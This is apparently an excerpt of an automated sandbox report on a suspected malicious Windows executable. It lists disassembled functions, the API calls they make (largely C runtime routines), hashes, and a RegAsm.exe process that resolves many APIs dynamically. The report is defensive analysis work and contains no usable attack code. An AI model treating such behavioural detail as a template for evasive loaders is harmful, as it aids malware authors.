Instruction ID: 27d9d14ce7b79dd88829dbb4fdd7c1e8115c0b60ba65288d34225c39ad85214b
Opcode Fuzzy Hash: 771a2c2b02ad27676bf28ecac25d195a5fa032767bd49143968dc89c51ccde29
Instruction Fuzzy Hash: FE41B434A01349DFCF10DFAAC885ADE7BA2BF04314F148159E914AB392D736AA15CB96

Function 006EB562 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000011,00000000,00000800,?,006EB513,00000000,00000001,0073DEDC,?,?,?,006EB6B6,00000004,InitializeCriticalSectionEx,00701DA8,InitializeCriticalSectionEx), ref: 006EB56F
GetLastError.KERNEL32(?,006EB513,00000000,00000001,0073DEDC,?,?,?,006EB6B6,00000004,InitializeCriticalSectionEx,00701DA8,InitializeCriticalSectionEx,00000000,?,006EB46D), ref: 006EB579
LoadLibraryExW.KERNEL32(00000011,00000000,00000000,?,00000011,006EA383), ref: 006EB5A1

Strings

api-ms-, xrefs: 006EB586

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 76d1369ad7ff5a041947c6a62474984d7b0a60f70efc9e92c95bc80c3448bed2
Instruction ID: c8581f4a425c8a4bf17d1209969ceda9c147903def834de252d52e226d4bcacb
Opcode Fuzzy Hash: 76d1369ad7ff5a041947c6a62474984d7b0a60f70efc9e92c95bc80c3448bed2
Instruction Fuzzy Hash: AFE0BF71685348FBEF101F62EC06B5A3E56AB00BA0F148121F90DB81E1DBA5D95099E9

Function 006F39A4 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(A418D8C2,00000000,00000000,006ECCE4), ref: 006F3A07

Part of subcall function 006F7AA2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,006F6ED6,?,00000000,-00000008), ref: 006F7B4E

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 006F3C62
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 006F3CAA
GetLastError.KERNEL32 ref: 006F3D4D

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 46bde3a3e7c8ef4f94c86912750b637a35a9e8ac140fb6874295b7491f67f6a8
Instruction ID: eba09797b4fdb4039aef7958e23a4bcfc80d295c86bc7d151c1f0c67eb5fa5ba
Opcode Fuzzy Hash: 46bde3a3e7c8ef4f94c86912750b637a35a9e8ac140fb6874295b7491f67f6a8
Instruction Fuzzy Hash: 9CD148B5D0425C9FCB15CFA8D880AEDBBB6FF09310F18416AE966E7351D730AA42CB54

Function 006F7EBE Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 006F7AA2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,006F6ED6,?,00000000,-00000008), ref: 006F7B4E

GetLastError.KERNEL32 ref: 006F7F22
__dosmaperr.LIBCMT ref: 006F7F29
GetLastError.KERNEL32(?,?,?,?), ref: 006F7F63
__dosmaperr.LIBCMT ref: 006F7F6A

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: cff5454a978504bccd68b7debf28d5ac97cdbf9b45222cb83983759bd250901b
Instruction ID: 9df8abc8419163abee6c4b6c4eee66dec5129231985d956d7dfa124e88a03436
Opcode Fuzzy Hash: cff5454a978504bccd68b7debf28d5ac97cdbf9b45222cb83983759bd250901b
Instruction Fuzzy Hash: 8F21833160930DAFDB60AF66888197BB7ABFF44374710856DFA5997241E730EC118794

Function 006EF3A4 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5f12b1b0442961a9da668b4f661a3341451ab8576f9335edc72ca0bf876099a
Instruction ID: 52d0de0d6bbb4ea855a34ccc10f88232e2bdb64c79222c9cd438797cef6fa990
Opcode Fuzzy Hash: d5f12b1b0442961a9da668b4f661a3341451ab8576f9335edc72ca0bf876099a
Instruction Fuzzy Hash: DE21A171202395EFDB60AF63CC81A6B77EBAF40364B118539F825C7282D730EC1187A0

Function 006F8E54 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 006F8E5C

Part of subcall function 006F7AA2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,006F6ED6,?,00000000,-00000008), ref: 006F7B4E

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 006F8E94
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 006F8EB4

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 8a58731b735e2f05018ed7b6358863b681168bf42da62ce1f07098a787e981c3
Instruction ID: affd86df6dab172262ae93259e4394359f155774af2455286a81962b400456e3
Opcode Fuzzy Hash: 8a58731b735e2f05018ed7b6358863b681168bf42da62ce1f07098a787e981c3
Instruction Fuzzy Hash: 5A11C4B150561EFFA65127765C8DCBF2A9FDE853B57100158F701D6200FF64CD0146B9

Function 006FD255 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,006FC067,00000000,00000001,00000000,006ECCE4,?,006F3DA1,006ECCE4,00000000,00000000), ref: 006FD26C
GetLastError.KERNEL32(?,006FC067,00000000,00000001,00000000,006ECCE4,?,006F3DA1,006ECCE4,00000000,00000000,006ECCE4,006ECCE4,?,006F4328,?), ref: 006FD278

Part of subcall function 006FD23E: CloseHandle.KERNEL32(FFFFFFFE,006FD288,?,006FC067,00000000,00000001,00000000,006ECCE4,?,006F3DA1,006ECCE4,00000000,00000000,006ECCE4,006ECCE4), ref: 006FD24E

___initconout.LIBCMT ref: 006FD288

Part of subcall function 006FD200: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,006FD22F,006FC054,006ECCE4,?,006F3DA1,006ECCE4,00000000,00000000,006ECCE4), ref: 006FD213

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,006FC067,00000000,00000001,00000000,006ECCE4,?,006F3DA1,006ECCE4,00000000,00000000,006ECCE4), ref: 006FD29D

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: d8d536817dc0b3bb79f60eef5a38dd3f3bfd61430cff49aed11be0ee1a606b9f
Instruction ID: 7c40f5d4761d631593fbe42ec11ed0b94015fc64909e817f56b587d170677ab3
Opcode Fuzzy Hash: d8d536817dc0b3bb79f60eef5a38dd3f3bfd61430cff49aed11be0ee1a606b9f
Instruction Fuzzy Hash: 6EF0AC36500258FBCF222F95DD09B9B3F67FB0A3A1F148114FB1995161CA36D920DBD9

Function 006FE313 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,006FDC7F), ref: 006FE32C

Strings

mEn, xrefs: 006FE3F6, 006FE4A0, 006FE4E6
,6p, xrefs: 006FE4C1

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: ,6p$mEn
API String ID: 3527080286-4141555692
Opcode ID: 496e1977636cea08a43dd5f6f215944c8db14269d8befdc0e70d6a213646f343
Instruction ID: f829ef5a6adca9de2067643db49978c42fb6afdd75baeccc404cb67ef312ede8
Opcode Fuzzy Hash: 496e1977636cea08a43dd5f6f215944c8db14269d8befdc0e70d6a213646f343
Instruction Fuzzy Hash: A251777190060EDBCF108F69E84C1BDBFF6BB44314F514259D681A73B4CB7A8A268B55

Function 006E5DAF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

_Fputc.LIBCPMT ref: 006E5E88

Strings

mEn, xrefs: 006E5E67

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Fputc
String ID: mEn
API String ID: 3078413507-2555016830
Opcode ID: 2376f04e7e73f979c57ea049da1116a1542ded1880236888e50e886106659f69
Instruction ID: a5f4ee72e25c8ab01984b1b3ab50f47bb07a9c7e8012501828baada330ac19f8
Opcode Fuzzy Hash: 2376f04e7e73f979c57ea049da1116a1542ded1880236888e50e886106659f69
Instruction Fuzzy Hash: 0B41863590275AABCF14DF66D4819EE77BAFF08318B14015AE506A7740EB31EE41CB94

Function 006EAB2D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 006EAB52

Strings

MOC, xrefs: 006EAB64
RCC, xrefs: 006EAB6C

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 54a828741adf40c1297eb822eaecd0355ce26bed7196368f2cd27bb11ecfe485
Instruction ID: b3fce642420835c2311dd74a76a46997387e864926117b384456bb656b9f3e64
Opcode Fuzzy Hash: 54a828741adf40c1297eb822eaecd0355ce26bed7196368f2cd27bb11ecfe485
Instruction Fuzzy Hash: E3417931901249EFCF16CF95C981EEEBBB6FF48300F248099F909A7251D335A951DB52

Function 006E1D31 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 006E1D36

Part of subcall function 006E3D97: std::invalid_argument::invalid_argument.LIBCONCRT ref: 006E3DA3

_Deallocate.LIBCONCRT ref: 006E1DD3

Strings

map/set too long, xrefs: 006E1D31

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: DeallocateXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: map/set too long
API String ID: 2273164399-558153379
Opcode ID: 7e3c9d471c262ccf33cce9f34f0c552664ba97d50be470fd064e3d3d8544df27
Instruction ID: 18c9988e49f7adf7f9a49d42d680e2c5eb9dcd9fb28230a205183e0a734e1a76
Opcode Fuzzy Hash: 7e3c9d471c262ccf33cce9f34f0c552664ba97d50be470fd064e3d3d8544df27
Instruction Fuzzy Hash: 4B014C63A0138466EF096E3E0C654EFABA6EFD6310B1CC66DD499DB742C17815026750

Function 006E5279 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006E5285
std::_Lockit::~_Lockit.LIBCPMT ref: 006E52E1

Strings

mEn, xrefs: 006E52AC, 006E52C6

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: mEn
API String ID: 593203224-2555016830
Opcode ID: 30bdad64a7bb7b829936f74e463f97eade0965408e2336494d4e64cdb900b692
Instruction ID: 0322f6763c4807743417f910e8c687c1c330c9cffe80d81ea132c0ff495c4b77
Opcode Fuzzy Hash: 30bdad64a7bb7b829936f74e463f97eade0965408e2336494d4e64cdb900b692
Instruction Fuzzy Hash: 11019E31601658EFCB04DF59C889E9D77BAEF84764F1401A9E902AB360DF70EE40CB50

Function 006E1665 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006E166C
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 006E16A4

Part of subcall function 006E52EA: _Yarn.LIBCPMT ref: 006E5309
Part of subcall function 006E52EA: _Yarn.LIBCPMT ref: 006E532D

Strings

bad locale name, xrefs: 006E16B2

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: a58cfe1bdf76d9db9e04ffbe85503f1b2fbe6c7ef545aab7c2e05ee70a0cbe1d
Instruction ID: d7b06c6b6f2b80b6998c9d69ab8c3c53282e16d56052a31f75f240c8d96a5e39
Opcode Fuzzy Hash: a58cfe1bdf76d9db9e04ffbe85503f1b2fbe6c7ef545aab7c2e05ee70a0cbe1d
Instruction Fuzzy Hash: C1F01771506B90DE83319F7B8881447FBE4BE29320394CA6EE1DEC3A11D734A544CF6A

Function 006F2BC2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000000,00000FA0,0070A100,00000FA0,00000000,00000000,?,?,00000003,006F23A3), ref: 006F2C02

Strings

mEn, xrefs: 006F2BF2
InitializeCriticalSectionEx, xrefs: 006F2BD2

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$mEn
API String ID: 2593887523-3150776048
Opcode ID: 6e7e1416b90bf8078a37c737dd98ae4bdeda15b8e1565b82e2ec55972764aa47
Instruction ID: 11c2efb57993d3c472571cc01b12fedff916b16e0cf8551f561e07b38b38746a
Opcode Fuzzy Hash: 6e7e1416b90bf8078a37c737dd98ae4bdeda15b8e1565b82e2ec55972764aa47
Instruction Fuzzy Hash: 5DE06D32680219F7CB116F50DC09E9E3F66DB047A1F008211FE18251A1CA759861DAC4

Function 006F2A48 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 006F2A7C

Strings

FlsAlloc, xrefs: 006F2A58
mEn, xrefs: 006F2A72

Memory Dump Source

Source File: 00000000.00000002.1589669493.00000000006E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.1589647583.00000000006E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589687618.0000000000700000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000070A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589701895.000000000073C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1589743234.000000000073F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc$mEn
API String ID: 2773662609-2397785389
Opcode ID: 2f40b5f85dfb786146564ef11589ecdb6753dc7b262fb4590317414fbcda0063
Instruction ID: 74200229f9725872a419c4f433438a755ac5c23b76db9eabad5a8e5a0421ba38
Opcode Fuzzy Hash: 2f40b5f85dfb786146564ef11589ecdb6753dc7b262fb4590317414fbcda0063
Instruction Fuzzy Hash: C7E0C23178132DF3C23137A19C1AEFEBE4B8B44BB0B004221FF04212D19EA849008AD9

Analysis Process: RegAsm.exePID: 5984, Parent PID: 6856COMMON

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 00417645 Relevance: 207.0, APIs: 114, Strings: 4, Instructions: 490
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00416AAC), ref: 00417659
GetProcAddress.KERNEL32 ref: 00417670
GetProcAddress.KERNEL32 ref: 00417687
GetProcAddress.KERNEL32 ref: 0041769E
GetProcAddress.KERNEL32 ref: 004176B5
GetProcAddress.KERNEL32 ref: 004176CC
GetProcAddress.KERNEL32 ref: 004176E3
GetProcAddress.KERNEL32 ref: 004176FA
GetProcAddress.KERNEL32 ref: 00417711
GetProcAddress.KERNEL32 ref: 00417728
GetProcAddress.KERNEL32 ref: 0041773F
GetProcAddress.KERNEL32 ref: 00417756
GetProcAddress.KERNEL32 ref: 0041776D
GetProcAddress.KERNEL32 ref: 00417784
GetProcAddress.KERNEL32 ref: 0041779B
GetProcAddress.KERNEL32 ref: 004177B2
GetProcAddress.KERNEL32 ref: 004177C9
GetProcAddress.KERNEL32 ref: 004177E0
GetProcAddress.KERNEL32 ref: 004177F7
GetProcAddress.KERNEL32 ref: 0041780E
GetProcAddress.KERNEL32 ref: 00417825
GetProcAddress.KERNEL32 ref: 0041783C
GetProcAddress.KERNEL32 ref: 00417853
GetProcAddress.KERNEL32 ref: 0041786A
GetProcAddress.KERNEL32 ref: 00417881
GetProcAddress.KERNEL32 ref: 00417898
GetProcAddress.KERNEL32 ref: 004178AF
GetProcAddress.KERNEL32 ref: 004178C6
GetProcAddress.KERNEL32 ref: 004178DD
GetProcAddress.KERNEL32 ref: 004178F4
GetProcAddress.KERNEL32 ref: 0041790B
GetProcAddress.KERNEL32 ref: 00417922
GetProcAddress.KERNEL32 ref: 00417939
GetProcAddress.KERNEL32 ref: 00417950
GetProcAddress.KERNEL32 ref: 00417967
GetProcAddress.KERNEL32 ref: 0041797E
GetProcAddress.KERNEL32 ref: 00417995
GetProcAddress.KERNEL32 ref: 004179AC
GetProcAddress.KERNEL32 ref: 004179C3
GetProcAddress.KERNEL32 ref: 004179DA
GetProcAddress.KERNEL32 ref: 004179F1
GetProcAddress.KERNEL32 ref: 00417A08
GetProcAddress.KERNEL32 ref: 00417A1F
LoadLibraryA.KERNEL32(00416AAC,?,00000040,00000064,0041366A,00412D12,?,0000002C,00000064,004135E9,00413626,?,00000024,00000064,Function_000135AC,00413295), ref: 00417A30
LoadLibraryA.KERNEL32 ref: 00417A41
LoadLibraryA.KERNEL32 ref: 00417A52
LoadLibraryA.KERNEL32 ref: 00417A63
LoadLibraryA.KERNEL32 ref: 00417A74
LoadLibraryA.KERNEL32 ref: 00417A85
LoadLibraryA.KERNEL32 ref: 00417A96
LoadLibraryA.KERNEL32 ref: 00417AA7
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00417AB7
GetProcAddress.KERNEL32(75290000), ref: 00417AD2
GetProcAddress.KERNEL32 ref: 00417AE9
GetProcAddress.KERNEL32 ref: 00417B00
GetProcAddress.KERNEL32 ref: 00417B17
GetProcAddress.KERNEL32 ref: 00417B2E
GetProcAddress.KERNEL32(73B50000), ref: 00417B4D
GetProcAddress.KERNEL32 ref: 00417B64
GetProcAddress.KERNEL32 ref: 00417B7B
GetProcAddress.KERNEL32 ref: 00417B92
GetProcAddress.KERNEL32 ref: 00417BA9
GetProcAddress.KERNEL32 ref: 00417BC0
GetProcAddress.KERNEL32 ref: 00417BD7
GetProcAddress.KERNEL32 ref: 00417BEE
GetProcAddress.KERNEL32(752C0000), ref: 00417C09
GetProcAddress.KERNEL32 ref: 00417C20
GetProcAddress.KERNEL32 ref: 00417C37
GetProcAddress.KERNEL32 ref: 00417C4E
GetProcAddress.KERNEL32 ref: 00417C65
GetProcAddress.KERNEL32(74EC0000), ref: 00417C84
GetProcAddress.KERNEL32 ref: 00417C9B
GetProcAddress.KERNEL32 ref: 00417CB2
GetProcAddress.KERNEL32 ref: 00417CC9
GetProcAddress.KERNEL32 ref: 00417CE0
GetProcAddress.KERNEL32 ref: 00417CF7
GetProcAddress.KERNEL32(75BD0000), ref: 00417D16
GetProcAddress.KERNEL32 ref: 00417D2D
GetProcAddress.KERNEL32 ref: 00417D44
GetProcAddress.KERNEL32 ref: 00417D5B
GetProcAddress.KERNEL32 ref: 00417D72
GetProcAddress.KERNEL32 ref: 00417D89
GetProcAddress.KERNEL32 ref: 00417DA0
GetProcAddress.KERNEL32 ref: 00417DB7
GetProcAddress.KERNEL32 ref: 00417DCE
GetProcAddress.KERNEL32(75A70000), ref: 00417DE9
GetProcAddress.KERNEL32 ref: 00417E00
GetProcAddress.KERNEL32 ref: 00417E17
GetProcAddress.KERNEL32 ref: 00417E2E
GetProcAddress.KERNEL32 ref: 00417E45
GetProcAddress.KERNEL32(75450000), ref: 00417E60
GetProcAddress.KERNEL32 ref: 00417E77
GetProcAddress.KERNEL32(75DA0000), ref: 00417E92
GetProcAddress.KERNEL32 ref: 00417EA9
GetProcAddress.KERNEL32(6F090000), ref: 00417EC8
GetProcAddress.KERNEL32 ref: 00417EDF
